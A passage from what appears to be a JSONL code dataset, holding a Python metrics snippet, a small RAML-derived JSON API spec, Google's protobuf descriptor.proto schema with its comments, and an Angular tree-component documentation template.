keys = sorted(metrics.keys())\n for k in keys:\n print '%s=%.4f' % (k, metrics[k] / (numGroups + 1))\n\nif __name__ == '__main__':\n main()\n"} +{"text": "{\n \"ramlVersion\": \"RAML10\",\n \"type\": \"Api\",\n \"specification\": {\n \"types\": [\n {\n \"Persons\": {\n \"name\": \"Persons\",\n \"displayName\": \"Persons\",\n \"typePropertyKind\": \"TYPE_EXPRESSION\",\n \"type\": [\n \"array\"\n ],\n \"__METADATA__\": {\n \"primitiveValuesMeta\": {\n \"displayName\": {\n \"calculated\": true\n }\n }\n },\n \"sourceMap\": {\n \"path\": \"api.raml\"\n },\n \"items\": \"string\"\n }\n }\n ],\n \"title\": \"Dropbox API\",\n \"sourceMap\": {\n \"path\": \"api.raml\"\n }\n },\n \"errors\": []\n}"} +{"text": "// Protocol Buffers - Google's data interchange format\n// Copyright 2008 Google Inc. All rights reserved.\n// https://developers.google.com/protocol-buffers/\n//\n// Redistribution and use in source and binary forms, with or without\n// modification, are permitted provided that the following conditions are\n// met:\n//\n// * Redistributions of source code must retain the above copyright\n// notice, this list of conditions and the following disclaimer.\n// * Redistributions in binary form must reproduce the above\n// copyright notice, this list of conditions and the following disclaimer\n// in the documentation and/or other materials provided with the\n// distribution.\n// * Neither the name of Google Inc. nor the names of its\n// contributors may be used to endorse or promote products derived from\n// this software without specific prior written permission.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n// \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n// Author: kenton@google.com (Kenton Varda)\n// Based on original Protocol Buffers design by\n// Sanjay Ghemawat, Jeff Dean, and others.\n//\n// The messages in this file describe the definitions found in .proto files.\n// A valid .proto file can be translated directly to a FileDescriptorProto\n// without any other information (e.g. without reading its imports).\n\n\nsyntax = \"proto2\";\n\npackage google.protobuf;\noption go_package = \"github.com/golang/protobuf/protoc-gen-go/descriptor;descriptor\";\noption java_package = \"com.google.protobuf\";\noption java_outer_classname = \"DescriptorProtos\";\noption csharp_namespace = \"Google.Protobuf.Reflection\";\noption objc_class_prefix = \"GPB\";\noption cc_enable_arenas = true;\n\n// descriptor.proto must be optimized for speed because reflection-based\n// algorithms don't work during bootstrapping.\noption optimize_for = SPEED;\n\n// The protocol compiler can output a FileDescriptorSet containing the .proto\n// files it parses.\nmessage FileDescriptorSet {\n repeated FileDescriptorProto file = 1;\n}\n\n// Describes a complete .proto file.\nmessage FileDescriptorProto {\n optional string name = 1; // file name, relative to root of source tree\n optional string package = 2; // e.g. \"foo\", \"foo.bar\", etc.\n\n // Names of files imported by this file.\n repeated string dependency = 3;\n // Indexes of the public imported files in the dependency list above.\n repeated int32 public_dependency = 10;\n // Indexes of the weak imported files in the dependency list.\n // For Google-internal migration only. Do not use.\n repeated int32 weak_dependency = 11;\n\n // All top-level definitions in this file.\n repeated DescriptorProto message_type = 4;\n repeated EnumDescriptorProto enum_type = 5;\n repeated ServiceDescriptorProto service = 6;\n repeated FieldDescriptorProto extension = 7;\n\n optional FileOptions options = 8;\n\n // This field contains optional information about the original source code.\n // You may safely remove this entire field without harming runtime\n // functionality of the descriptors -- the information is needed only by\n // development tools.\n optional SourceCodeInfo source_code_info = 9;\n\n // The syntax of the proto file.\n // The supported values are \"proto2\" and \"proto3\".\n optional string syntax = 12;\n}\n\n// Describes a message type.\nmessage DescriptorProto {\n optional string name = 1;\n\n repeated FieldDescriptorProto field = 2;\n repeated FieldDescriptorProto extension = 6;\n\n repeated DescriptorProto nested_type = 3;\n repeated EnumDescriptorProto enum_type = 4;\n\n message ExtensionRange {\n optional int32 start = 1;\n optional int32 end = 2;\n\n optional ExtensionRangeOptions options = 3;\n }\n repeated ExtensionRange extension_range = 5;\n\n repeated OneofDescriptorProto oneof_decl = 8;\n\n optional MessageOptions options = 7;\n\n // Range of reserved tag numbers. Reserved tag numbers may not be used by\n // fields or extension ranges in the same message. Reserved ranges may\n // not overlap.\n message ReservedRange {\n optional int32 start = 1; // Inclusive.\n optional int32 end = 2; // Exclusive.\n }\n repeated ReservedRange reserved_range = 9;\n // Reserved field names, which may not be used by fields in the same message.\n // A given name may only be reserved once.\n repeated string reserved_name = 10;\n}\n\nmessage ExtensionRangeOptions {\n // The parser stores options it doesn't recognize here. See above.\n repeated UninterpretedOption uninterpreted_option = 999;\n\n // Clients can define custom options in extensions of this message. See above.\n extensions 1000 to max;\n}\n\n// Describes a field within a message.\nmessage FieldDescriptorProto {\n enum Type {\n // 0 is reserved for errors.\n // Order is weird for historical reasons.\n TYPE_DOUBLE = 1;\n TYPE_FLOAT = 2;\n // Not ZigZag encoded. Negative numbers take 10 bytes. Use TYPE_SINT64 if\n // negative values are likely.\n TYPE_INT64 = 3;\n TYPE_UINT64 = 4;\n // Not ZigZag encoded. Negative numbers take 10 bytes. Use TYPE_SINT32 if\n // negative values are likely.\n TYPE_INT32 = 5;\n TYPE_FIXED64 = 6;\n TYPE_FIXED32 = 7;\n TYPE_BOOL = 8;\n TYPE_STRING = 9;\n // Tag-delimited aggregate.\n // Group type is deprecated and not supported in proto3. However, Proto3\n // implementations should still be able to parse the group wire format and\n // treat group fields as unknown fields.\n TYPE_GROUP = 10;\n TYPE_MESSAGE = 11; // Length-delimited aggregate.\n\n // New in version 2.\n TYPE_BYTES = 12;\n TYPE_UINT32 = 13;\n TYPE_ENUM = 14;\n TYPE_SFIXED32 = 15;\n TYPE_SFIXED64 = 16;\n TYPE_SINT32 = 17; // Uses ZigZag encoding.\n TYPE_SINT64 = 18; // Uses ZigZag encoding.\n };\n\n enum Label {\n // 0 is reserved for errors\n LABEL_OPTIONAL = 1;\n LABEL_REQUIRED = 2;\n LABEL_REPEATED = 3;\n };\n\n optional string name = 1;\n optional int32 number = 3;\n optional Label label = 4;\n\n // If type_name is set, this need not be set. If both this and type_name\n // are set, this must be one of TYPE_ENUM, TYPE_MESSAGE or TYPE_GROUP.\n optional Type type = 5;\n\n // For message and enum types, this is the name of the type. If the name\n // starts with a '.', it is fully-qualified. Otherwise, C++-like scoping\n // rules are used to find the type (i.e. first the nested types within this\n // message are searched, then within the parent, on up to the root\n // namespace).\n optional string type_name = 6;\n\n // For extensions, this is the name of the type being extended. It is\n // resolved in the same manner as type_name.\n optional string extendee = 2;\n\n // For numeric types, contains the original text representation of the value.\n // For booleans, \"true\" or \"false\".\n // For strings, contains the default text contents (not escaped in any way).\n // For bytes, contains the C escaped value. All bytes >= 128 are escaped.\n // TODO(kenton): Base-64 encode?\n optional string default_value = 7;\n\n // If set, gives the index of a oneof in the containing type's oneof_decl\n // list. This field is a member of that oneof.\n optional int32 oneof_index = 9;\n\n // JSON name of this field. The value is set by protocol compiler. If the\n // user has set a \"json_name\" option on this field, that option's value\n // will be used. Otherwise, it's deduced from the field's name by converting\n // it to camelCase.\n optional string json_name = 10;\n\n optional FieldOptions options = 8;\n}\n\n// Describes a oneof.\nmessage OneofDescriptorProto {\n optional string name = 1;\n optional OneofOptions options = 2;\n}\n\n// Describes an enum type.\nmessage EnumDescriptorProto {\n optional string name = 1;\n\n repeated EnumValueDescriptorProto value = 2;\n\n optional EnumOptions options = 3;\n\n // Range of reserved numeric values. Reserved values may not be used by\n // entries in the same enum. Reserved ranges may not overlap.\n //\n // Note that this is distinct from DescriptorProto.ReservedRange in that it\n // is inclusive such that it can appropriately represent the entire int32\n // domain.\n message EnumReservedRange {\n optional int32 start = 1; // Inclusive.\n optional int32 end = 2; // Inclusive.\n }\n\n // Range of reserved numeric values. Reserved numeric values may not be used\n // by enum values in the same enum declaration. Reserved ranges may not\n // overlap.\n repeated EnumReservedRange reserved_range = 4;\n\n // Reserved enum value names, which may not be reused. A given name may only\n // be reserved once.\n repeated string reserved_name = 5;\n}\n\n// Describes a value within an enum.\nmessage EnumValueDescriptorProto {\n optional string name = 1;\n optional int32 number = 2;\n\n optional EnumValueOptions options = 3;\n}\n\n// Describes a service.\nmessage ServiceDescriptorProto {\n optional string name = 1;\n repeated MethodDescriptorProto method = 2;\n\n optional ServiceOptions options = 3;\n}\n\n// Describes a method of a service.\nmessage MethodDescriptorProto {\n optional string name = 1;\n\n // Input and output type names. These are resolved in the same way as\n // FieldDescriptorProto.type_name, but must refer to a message type.\n optional string input_type = 2;\n optional string output_type = 3;\n\n optional MethodOptions options = 4;\n\n // Identifies if client streams multiple client messages\n optional bool client_streaming = 5 [default=false];\n // Identifies if server streams multiple server messages\n optional bool server_streaming = 6 [default=false];\n}\n\n\n// ===================================================================\n// Options\n\n// Each of the definitions above may have \"options\" attached. These are\n// just annotations which may cause code to be generated slightly differently\n// or may contain hints for code that manipulates protocol messages.\n//\n// Clients may define custom options as extensions of the *Options messages.\n// These extensions may not yet be known at parsing time, so the parser cannot\n// store the values in them. Instead it stores them in a field in the *Options\n// message called uninterpreted_option. This field must have the same name\n// across all *Options messages. We then use this field to populate the\n// extensions when we build a descriptor, at which point all protos have been\n// parsed and so all extensions are known.\n//\n// Extension numbers for custom options may be chosen as follows:\n// * For options which will only be used within a single application or\n// organization, or for experimental options, use field numbers 50000\n// through 99999. It is up to you to ensure that you do not use the\n// same number for multiple options.\n// * For options which will be published and used publicly by multiple\n// independent entities, e-mail protobuf-global-extension-registry@google.com\n// to reserve extension numbers. Simply provide your project name (e.g.\n// Objective-C plugin) and your project website (if available) -- there's no\n// need to explain how you intend to use them. Usually you only need one\n// extension number. You can declare multiple options with only one extension\n// number by putting them in a sub-message. See the Custom Options section of\n// the docs for examples:\n// https://developers.google.com/protocol-buffers/docs/proto#options\n// If this turns out to be popular, a web service will be set up\n// to automatically assign option numbers.\n\n\nmessage FileOptions {\n\n // Sets the Java package where classes generated from this .proto will be\n // placed. By default, the proto package is used, but this is often\n // inappropriate because proto packages do not normally start with backwards\n // domain names.\n optional string java_package = 1;\n\n\n // If set, all the classes from the .proto file are wrapped in a single\n // outer class with the given name. This applies to both Proto1\n // (equivalent to the old \"--one_java_file\" option) and Proto2 (where\n // a .proto always translates to a single class, but you may want to\n // explicitly choose the class name).\n optional string java_outer_classname = 8;\n\n // If set true, then the Java code generator will generate a separate .java\n // file for each top-level message, enum, and service defined in the .proto\n // file. Thus, these types will *not* be nested inside the outer class\n // named by java_outer_classname. However, the outer class will still be\n // generated to contain the file's getDescriptor() method as well as any\n // top-level extensions defined in the file.\n optional bool java_multiple_files = 10 [default=false];\n\n // This option does nothing.\n optional bool java_generate_equals_and_hash = 20 [deprecated=true];\n\n // If set true, then the Java2 code generator will generate code that\n // throws an exception whenever an attempt is made to assign a non-UTF-8\n // byte sequence to a string field.\n // Message reflection will do the same.\n // However, an extension field still accepts non-UTF-8 byte sequences.\n // This option has no effect on when used with the lite runtime.\n optional bool java_string_check_utf8 = 27 [default=false];\n\n\n // Generated classes can be optimized for speed or code size.\n enum OptimizeMode {\n SPEED = 1; // Generate complete code for parsing, serialization,\n // etc.\n CODE_SIZE = 2; // Use ReflectionOps to implement these methods.\n LITE_RUNTIME = 3; // Generate code using MessageLite and the lite runtime.\n }\n optional OptimizeMode optimize_for = 9 [default=SPEED];\n\n // Sets the Go package where structs generated from this .proto will be\n // placed. If omitted, the Go package will be derived from the following:\n // - The basename of the package import path, if provided.\n // - Otherwise, the package statement in the .proto file, if present.\n // - Otherwise, the basename of the .proto file, without extension.\n optional string go_package = 11;\n\n\n\n // Should generic services be generated in each language? \"Generic\" services\n // are not specific to any particular RPC system. They are generated by the\n // main code generators in each language (without additional plugins).\n // Generic services were the only kind of service generation supported by\n // early versions of google.protobuf.\n //\n // Generic services are now considered deprecated in favor of using plugins\n // that generate code specific to your particular RPC system. Therefore,\n // these default to false. Old code which depends on generic services should\n // explicitly set them to true.\n optional bool cc_generic_services = 16 [default=false];\n optional bool java_generic_services = 17 [default=false];\n optional bool py_generic_services = 18 [default=false];\n optional bool php_generic_services = 42 [default=false];\n\n // Is this file deprecated?\n // Depending on the target platform, this can emit Deprecated annotations\n // for everything in the file, or it will be completely ignored; in the very\n // least, this is a formalization for deprecating files.\n optional bool deprecated = 23 [default=false];\n\n // Enables the use of arenas for the proto messages in this file. This applies\n // only to generated classes for C++.\n optional bool cc_enable_arenas = 31 [default=false];\n\n\n // Sets the objective c class prefix which is prepended to all objective c\n // generated classes from this .proto. There is no default.\n optional string objc_class_prefix = 36;\n\n // Namespace for generated classes; defaults to the package.\n optional string csharp_namespace = 37;\n\n // By default Swift generators will take the proto package and CamelCase it\n // replacing '.' with underscore and use that to prefix the types/symbols\n // defined. When this options is provided, they will use this value instead\n // to prefix the types/symbols defined.\n optional string swift_prefix = 39;\n\n // Sets the php class prefix which is prepended to all php generated classes\n // from this .proto. Default is empty.\n optional string php_class_prefix = 40;\n\n // Use this option to change the namespace of php generated classes. Default\n // is empty. When this option is empty, the package name will be used for\n // determining the namespace.\n optional string php_namespace = 41;\n\n // The parser stores options it doesn't recognize here.\n // See the documentation for the \"Options\" section above.\n repeated UninterpretedOption uninterpreted_option = 999;\n\n // Clients can define custom options in extensions of this message.\n // See the documentation for the \"Options\" section above.\n extensions 1000 to max;\n\n reserved 38;\n}\n\nmessage MessageOptions {\n // Set true to use the old proto1 MessageSet wire format for extensions.\n // This is provided for backwards-compatibility with the MessageSet wire\n // format. You should not use this for any other reason: It's less\n // efficient, has fewer features, and is more complicated.\n //\n // The message must be defined exactly as follows:\n // message Foo {\n // option message_set_wire_format = true;\n // extensions 4 to max;\n // }\n // Note that the message cannot have any defined fields; MessageSets only\n // have extensions.\n //\n // All extensions of your type must be singular messages; e.g. they cannot\n // be int32s, enums, or repeated messages.\n //\n // Because this is an option, the above two restrictions are not enforced by\n // the protocol compiler.\n optional bool message_set_wire_format = 1 [default=false];\n\n // Disables the generation of the standard \"descriptor()\" accessor, which can\n // conflict with a field of the same name. This is meant to make migration\n // from proto1 easier; new code should avoid fields named \"descriptor\".\n optional bool no_standard_descriptor_accessor = 2 [default=false];\n\n // Is this message deprecated?\n // Depending on the target platform, this can emit Deprecated annotations\n // for the message, or it will be completely ignored; in the very least,\n // this is a formalization for deprecating messages.\n optional bool deprecated = 3 [default=false];\n\n // Whether the message is an automatically generated map entry type for the\n // maps field.\n //\n // For maps fields:\n // map map_field = 1;\n // The parsed descriptor looks like:\n // message MapFieldEntry {\n // option map_entry = true;\n // optional KeyType key = 1;\n // optional ValueType value = 2;\n // }\n // repeated MapFieldEntry map_field = 1;\n //\n // Implementations may choose not to generate the map_entry=true message, but\n // use a native map in the target language to hold the keys and values.\n // The reflection APIs in such implementions still need to work as\n // if the field is a repeated message field.\n //\n // NOTE: Do not set the option in .proto files. Always use the maps syntax\n // instead. The option should only be implicitly set by the proto compiler\n // parser.\n optional bool map_entry = 7;\n\n reserved 8; // javalite_serializable\n reserved 9; // javanano_as_lite\n\n // The parser stores options it doesn't recognize here. See above.\n repeated UninterpretedOption uninterpreted_option = 999;\n\n // Clients can define custom options in extensions of this message. See above.\n extensions 1000 to max;\n}\n\nmessage FieldOptions {\n // The ctype option instructs the C++ code generator to use a different\n // representation of the field than it normally would. See the specific\n // options below. This option is not yet implemented in the open source\n // release -- sorry, we'll try to include it in a future version!\n optional CType ctype = 1 [default = STRING];\n enum CType {\n // Default mode.\n STRING = 0;\n\n CORD = 1;\n\n STRING_PIECE = 2;\n }\n // The packed option can be enabled for repeated primitive fields to enable\n // a more efficient representation on the wire. Rather than repeatedly\n // writing the tag and type for each element, the entire array is encoded as\n // a single length-delimited blob. In proto3, only explicit setting it to\n // false will avoid using packed encoding.\n optional bool packed = 2;\n\n // The jstype option determines the JavaScript type used for values of the\n // field. The option is permitted only for 64 bit integral and fixed types\n // (int64, uint64, sint64, fixed64, sfixed64). A field with jstype JS_STRING\n // is represented as JavaScript string, which avoids loss of precision that\n // can happen when a large value is converted to a floating point JavaScript.\n // Specifying JS_NUMBER for the jstype causes the generated JavaScript code to\n // use the JavaScript \"number\" type. The behavior of the default option\n // JS_NORMAL is implementation dependent.\n //\n // This option is an enum to permit additional types to be added, e.g.\n // goog.math.Integer.\n optional JSType jstype = 6 [default = JS_NORMAL];\n enum JSType {\n // Use the default type.\n JS_NORMAL = 0;\n\n // Use JavaScript strings.\n JS_STRING = 1;\n\n // Use JavaScript numbers.\n JS_NUMBER = 2;\n }\n\n // Should this field be parsed lazily? Lazy applies only to message-type\n // fields. It means that when the outer message is initially parsed, the\n // inner message's contents will not be parsed but instead stored in encoded\n // form. The inner message will actually be parsed when it is first accessed.\n //\n // This is only a hint. Implementations are free to choose whether to use\n // eager or lazy parsing regardless of the value of this option. However,\n // setting this option true suggests that the protocol author believes that\n // using lazy parsing on this field is worth the additional bookkeeping\n // overhead typically needed to implement it.\n //\n // This option does not affect the public interface of any generated code;\n // all method signatures remain the same. Furthermore, thread-safety of the\n // interface is not affected by this option; const methods remain safe to\n // call from multiple threads concurrently, while non-const methods continue\n // to require exclusive access.\n //\n //\n // Note that implementations may choose not to check required fields within\n // a lazy sub-message. That is, calling IsInitialized() on the outer message\n // may return true even if the inner message has missing required fields.\n // This is necessary because otherwise the inner message would have to be\n // parsed in order to perform the check, defeating the purpose of lazy\n // parsing. An implementation which chooses not to check required fields\n // must be consistent about it. That is, for any particular sub-message, the\n // implementation must either *always* check its required fields, or *never*\n // check its required fields, regardless of whether or not the message has\n // been parsed.\n optional bool lazy = 5 [default=false];\n\n // Is this field deprecated?\n // Depending on the target platform, this can emit Deprecated annotations\n // for accessors, or it will be completely ignored; in the very least, this\n // is a formalization for deprecating fields.\n optional bool deprecated = 3 [default=false];\n\n // For Google-internal migration only. Do not use.\n optional bool weak = 10 [default=false];\n\n\n // The parser stores options it doesn't recognize here. See above.\n repeated UninterpretedOption uninterpreted_option = 999;\n\n // Clients can define custom options in extensions of this message. See above.\n extensions 1000 to max;\n\n reserved 4; // removed jtype\n}\n\nmessage OneofOptions {\n // The parser stores options it doesn't recognize here. See above.\n repeated UninterpretedOption uninterpreted_option = 999;\n\n // Clients can define custom options in extensions of this message. See above.\n extensions 1000 to max;\n}\n\nmessage EnumOptions {\n\n // Set this option to true to allow mapping different tag names to the same\n // value.\n optional bool allow_alias = 2;\n\n // Is this enum deprecated?\n // Depending on the target platform, this can emit Deprecated annotations\n // for the enum, or it will be completely ignored; in the very least, this\n // is a formalization for deprecating enums.\n optional bool deprecated = 3 [default=false];\n\n reserved 5; // javanano_as_lite\n\n // The parser stores options it doesn't recognize here. See above.\n repeated UninterpretedOption uninterpreted_option = 999;\n\n // Clients can define custom options in extensions of this message. See above.\n extensions 1000 to max;\n}\n\nmessage EnumValueOptions {\n // Is this enum value deprecated?\n // Depending on the target platform, this can emit Deprecated annotations\n // for the enum value, or it will be completely ignored; in the very least,\n // this is a formalization for deprecating enum values.\n optional bool deprecated = 1 [default=false];\n\n // The parser stores options it doesn't recognize here. See above.\n repeated UninterpretedOption uninterpreted_option = 999;\n\n // Clients can define custom options in extensions of this message. See above.\n extensions 1000 to max;\n}\n\nmessage ServiceOptions {\n\n // Note: Field numbers 1 through 32 are reserved for Google's internal RPC\n // framework. We apologize for hoarding these numbers to ourselves, but\n // we were already using them long before we decided to release Protocol\n // Buffers.\n\n // Is this service deprecated?\n // Depending on the target platform, this can emit Deprecated annotations\n // for the service, or it will be completely ignored; in the very least,\n // this is a formalization for deprecating services.\n optional bool deprecated = 33 [default=false];\n\n // The parser stores options it doesn't recognize here. See above.\n repeated UninterpretedOption uninterpreted_option = 999;\n\n // Clients can define custom options in extensions of this message. See above.\n extensions 1000 to max;\n}\n\nmessage MethodOptions {\n\n // Note: Field numbers 1 through 32 are reserved for Google's internal RPC\n // framework. We apologize for hoarding these numbers to ourselves, but\n // we were already using them long before we decided to release Protocol\n // Buffers.\n\n // Is this method deprecated?\n // Depending on the target platform, this can emit Deprecated annotations\n // for the method, or it will be completely ignored; in the very least,\n // this is a formalization for deprecating methods.\n optional bool deprecated = 33 [default=false];\n\n // Is this method side-effect-free (or safe in HTTP parlance), or idempotent,\n // or neither? HTTP based RPC implementation may choose GET verb for safe\n // methods, and PUT verb for idempotent methods instead of the default POST.\n enum IdempotencyLevel {\n IDEMPOTENCY_UNKNOWN = 0;\n NO_SIDE_EFFECTS = 1; // implies idempotent\n IDEMPOTENT = 2; // idempotent, but may have side effects\n }\n optional IdempotencyLevel idempotency_level =\n 34 [default=IDEMPOTENCY_UNKNOWN];\n\n // The parser stores options it doesn't recognize here. See above.\n repeated UninterpretedOption uninterpreted_option = 999;\n\n // Clients can define custom options in extensions of this message. See above.\n extensions 1000 to max;\n}\n\n\n// A message representing a option the parser does not recognize. This only\n// appears in options protos created by the compiler::Parser class.\n// DescriptorPool resolves these when building Descriptor objects. Therefore,\n// options protos in descriptor objects (e.g. returned by Descriptor::options(),\n// or produced by Descriptor::CopyTo()) will never have UninterpretedOptions\n// in them.\nmessage UninterpretedOption {\n // The name of the uninterpreted option. Each string represents a segment in\n // a dot-separated name. is_extension is true iff a segment represents an\n // extension (denoted with parentheses in options specs in .proto files).\n // E.g.,{ [\"foo\", false], [\"bar.baz\", true], [\"qux\", false] } represents\n // \"foo.(bar.baz).qux\".\n message NamePart {\n required string name_part = 1;\n required bool is_extension = 2;\n }\n repeated NamePart name = 2;\n\n // The value of the uninterpreted option, in whatever type the tokenizer\n // identified it as during parsing. Exactly one of these should be set.\n optional string identifier_value = 3;\n optional uint64 positive_int_value = 4;\n optional int64 negative_int_value = 5;\n optional double double_value = 6;\n optional bytes string_value = 7;\n optional string aggregate_value = 8;\n}\n\n// ===================================================================\n// Optional source code info\n\n// Encapsulates information about the original source file from which a\n// FileDescriptorProto was generated.\nmessage SourceCodeInfo {\n // A Location identifies a piece of source code in a .proto file which\n // corresponds to a particular definition. This information is intended\n // to be useful to IDEs, code indexers, documentation generators, and similar\n // tools.\n //\n // For example, say we have a file like:\n // message Foo {\n // optional string foo = 1;\n // }\n // Let's look at just the field definition:\n // optional string foo = 1;\n // ^ ^^ ^^ ^ ^^^\n // a bc de f ghi\n // We have the following locations:\n // span path represents\n // [a,i) [ 4, 0, 2, 0 ] The whole field definition.\n // [a,b) [ 4, 0, 2, 0, 4 ] The label (optional).\n // [c,d) [ 4, 0, 2, 0, 5 ] The type (string).\n // [e,f) [ 4, 0, 2, 0, 1 ] The name (foo).\n // [g,h) [ 4, 0, 2, 0, 3 ] The number (1).\n //\n // Notes:\n // - A location may refer to a repeated field itself (i.e. not to any\n // particular index within it). This is used whenever a set of elements are\n // logically enclosed in a single code segment. For example, an entire\n // extend block (possibly containing multiple extension definitions) will\n // have an outer location whose path refers to the \"extensions\" repeated\n // field without an index.\n // - Multiple locations may have the same path. This happens when a single\n // logical declaration is spread out across multiple places. The most\n // obvious example is the \"extend\" block again -- there may be multiple\n // extend blocks in the same scope, each of which will have the same path.\n // - A location's span is not always a subset of its parent's span. For\n // example, the \"extendee\" of an extension declaration appears at the\n // beginning of the \"extend\" block and is shared by all extensions within\n // the block.\n // - Just because a location's span is a subset of some other location's span\n // does not mean that it is a descendent. For example, a \"group\" defines\n // both a type and a field in a single declaration. Thus, the locations\n // corresponding to the type and field and their components will overlap.\n // - Code which tries to interpret locations should probably be designed to\n // ignore those that it doesn't understand, as more types of locations could\n // be recorded in the future.\n repeated Location location = 1;\n message Location {\n // Identifies which part of the FileDescriptorProto was defined at this\n // location.\n //\n // Each element is a field number or an index. They form a path from\n // the root FileDescriptorProto to the place where the definition. For\n // example, this path:\n // [ 4, 3, 2, 7, 1 ]\n // refers to:\n // file.message_type(3) // 4, 3\n // .field(7) // 2, 7\n // .name() // 1\n // This is because FileDescriptorProto.message_type has field number 4:\n // repeated DescriptorProto message_type = 4;\n // and DescriptorProto.field has field number 2:\n // repeated FieldDescriptorProto field = 2;\n // and FieldDescriptorProto.name has field number 1:\n // optional string name = 1;\n //\n // Thus, the above path gives the location of a field name. If we removed\n // the last element:\n // [ 4, 3, 2, 7 ]\n // this path refers to the whole field declaration (from the beginning\n // of the label to the terminating semicolon).\n repeated int32 path = 1 [packed=true];\n\n // Always has exactly three or four elements: start line, start column,\n // end line (optional, otherwise assumed same as start line), end column.\n // These are packed into a single field for efficiency. Note that line\n // and column numbers are zero-based -- typically you will want to add\n // 1 to each before displaying to a user.\n repeated int32 span = 2 [packed=true];\n\n // If this SourceCodeInfo represents a complete declaration, these are any\n // comments appearing before and after the declaration which appear to be\n // attached to the declaration.\n //\n // A series of line comments appearing on consecutive lines, with no other\n // tokens appearing on those lines, will be treated as a single comment.\n //\n // leading_detached_comments will keep paragraphs of comments that appear\n // before (but not connected to) the current element. Each paragraph,\n // separated by empty lines, will be one comment element in the repeated\n // field.\n //\n // Only the comment content is provided; comment markers (e.g. //) are\n // stripped out. For block comments, leading whitespace and an asterisk\n // will be stripped from the beginning of each line other than the first.\n // Newlines are included in the output.\n //\n // Examples:\n //\n // optional int32 foo = 1; // Comment attached to foo.\n // // Comment attached to bar.\n // optional int32 bar = 2;\n //\n // optional string baz = 3;\n // // Comment attached to baz.\n // // Another line attached to baz.\n //\n // // Comment attached to qux.\n // //\n // // Another line attached to qux.\n // optional double qux = 4;\n //\n // // Detached comment for corge. This is not leading or trailing comments\n // // to qux or corge because there are blank lines separating it from\n // // both.\n //\n // // Detached comment for corge paragraph 2.\n //\n // optional string corge = 5;\n // /* Block comment attached\n // * to corge. Leading asterisks\n // * will be removed. */\n // /* Block comment attached to\n // * grault. */\n // optional int32 grault = 6;\n //\n // // ignored detached comments.\n optional string leading_comments = 3;\n optional string trailing_comments = 4;\n repeated string leading_detached_comments = 6;\n }\n}\n\n// Describes the relationship between generated code and its original source\n// file. A GeneratedCodeInfo message is associated with only one generated\n// source file, but may contain references to different source .proto files.\nmessage GeneratedCodeInfo {\n // An Annotation connects some span of text in generated code to an element\n // of its generating .proto file.\n repeated Annotation annotation = 1;\n message Annotation {\n // Identifies the element in the original source .proto file. This field\n // is formatted the same as SourceCodeInfo.Location.path.\n repeated int32 path = 1 [packed=true];\n\n // Identifies the filesystem path to the original source .proto.\n optional string source_file = 2;\n\n // Identifies the starting offset in bytes in the generated code\n // that relates to the identified object.\n optional int32 begin = 3;\n\n // Identifies the ending offset in bytes in the generated code that\n // relates to the identified offset. The end offset should be one past\n // the last relevant byte (so the length of the text = end - begin).\n optional int32 end = 4;\n }\n}\n"} +{"text": "
    \n
    \n
    \n

    {{'DEMO.TREE.DESCRIPTION' | translate}}

    \n
    \n

    \n {{'API-OPTION' | translate}}\n

    \n
    \n

    free-tree

    \n

    {{'COMPONENT.TREE' | translate}}

    \n \n \n \n {{'PROPERTY' | translate}}\n {{'TYPE' | translate}}\n {{'DESCRIPTION' | translate}}\n \n \n \n \n value\n \n Array\n \n \n {{'DEMO.TREE.OPTION.0' | translate}}\n \n \n \n selectionMode\n \n String\n \n \n {{'DEMO.TREE.OPTION.1' | translate}}\n \n \n \n selection\n \n any\n \n \n {{'DEMO.TREE.OPTION.2' | translate}}\n \n \n \n style\n \n String\n \n \n {{'DEMO.TREE.OPTION.3' | translate}}\n \n \n \n styleClass\n \n String\n \n \n {{'DEMO.TREE.OPTION.4' | translate}}\n \n \n \n loading\n \n String\n \n \n {{'DEMO.TREE.OPTION.5' | translate}}\n \n \n \n loadingIcon\n \n String\n \n \n {{'DEMO.TREE.OPTION.6' | translate}}\n \n \n \n emptyMessage\n \n String\n \n \n {{'DEMO.TREE.OPTION.7' | translate}}\n \n \n \n \n\n

    {{'EVENT' | translate}}

    \n
    \n \n \n \n {{'EVENT' | translate}}\n {{'TYPE' | translate}}\n {{'DESCRIPTION' | translate}}\n \n \n\n \n \n onNodeSelect\n \n Function\n \n \n {{'DEMO.TREE.EVENTS.0' | translate}}\n \n \n \n onNodeUnselect\n \n Function\n \n \n {{'DEMO.TREE.EVENTS.1' | translate}}\n \n \n \n onNodeExpand\n \n Function\n \n \n {{'DEMO.TREE.EVENTS.2' | translate}}\n \n \n \n onNodeCollapse\n \n Function\n \n \n {{'DEMO.TREE.EVENTS.3' | translate}}\n \n \n \n \n
    \n\n

    TreeNode

    \n

    {{'DEMO.TREE.TREENODE' | translate}}

